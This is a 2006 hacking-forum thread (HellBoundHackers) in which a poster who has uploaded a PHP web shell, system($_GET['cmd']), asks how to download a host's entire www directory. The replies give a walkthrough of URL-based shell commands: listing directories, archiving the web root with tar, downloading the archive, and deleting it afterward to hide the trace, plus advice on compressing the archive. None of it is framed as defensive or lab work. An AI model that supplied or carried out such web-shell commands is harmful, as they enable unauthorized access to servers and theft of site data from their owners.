Follow us on Twitter!
Few are those who can see with their own eyes and hear with their own hearts. - Albert Einstein
Thursday, April 24, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 14
Guests Online: 14
Members Online: 0

Registered Members: 82886
Newest Member: The Slummy
Latest Articles
View Thread

HellBound Hackers | Computer General | Web hacking

Author

How to copy dirs from my host to my pc


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 15-05-06 23:22
If I have shell access to a host, how can I copy the whole www directory to my computer? What linux commands ?

EDIT: I've uploaded a php file, system($_GET['cmd']), how can I download the entire www by using that script ?
Author

RE: How to copy dirs from my host to my pc


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 16-05-06 00:08
I have a better idea...
go to : www.web2ftp.com and take it in a zip with that site


Author

RE: How to copy dirs from my host to my pc


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 16-05-06 02:24
Alright, if you have a command line, send the command:
ls ../

There should be a file named www, htdocs, or http. Now, type ls ../directorynamehere

If the output is the same as juswt a plain old ls command, then you have the folder. On to the next step:

tar -cvf mycopy.tar ../directorynamehere

Now, go to your web browser and replace the filename of your script with mycopy.tar. This will dl the archive. Now, use a decompression utility to decompress the file.

example:
http://www.example.com/code.php?cmd=ls ../

output: etc htdocs.tar mail public_ftp public_html tmp www

http://www.example.com/code.php?cmd=ls ../www

output: myporn index.html code.php links.html

http://www.example.com/code.php?cmd=ls

output: myporn index.html code.php links.html

http://www.example.com/code.php?cmd=tar -cvf mycopy.tar ../www

output:../htdocs/myporn/goatse.jpg
../htdocs/myporn/tubgirl.jpg
../htdocs/index.html
../htdocs/code.php
../htcods/links.html

http://www.example.com/mycopy.tar
output [download prompt comes up, save as]

http://www.example.com/code.php?cmd=rm mycopy.tar

all done!




Edited by on 16-05-06 02:26
Author

RE: How to copy dirs from my host to my pc

n3w7yp3
Member

Your avatar

Posts: 358
Location: USA
Joined: 19.03.05
Rank:
Moderate
Posted on 17-05-06 00:54
Before you go and download that giant tar archive, I'd recommend compressing it with gzip or bzip2. tar is an archive utility, not a compression utility (note, however, that if you use -z, it will do the compression, but that it just calls gzip. This is not supported by every version of tar). For the highest compression, use bzip2 -9 [file]. This will take a little while, if the tar archive is big. If the server does not have bzip2 avalible, use gzip -9 [file]. Again, be prepared to wait a bit oif the tar archive is big.


"Root is a state of mind" -- K0resh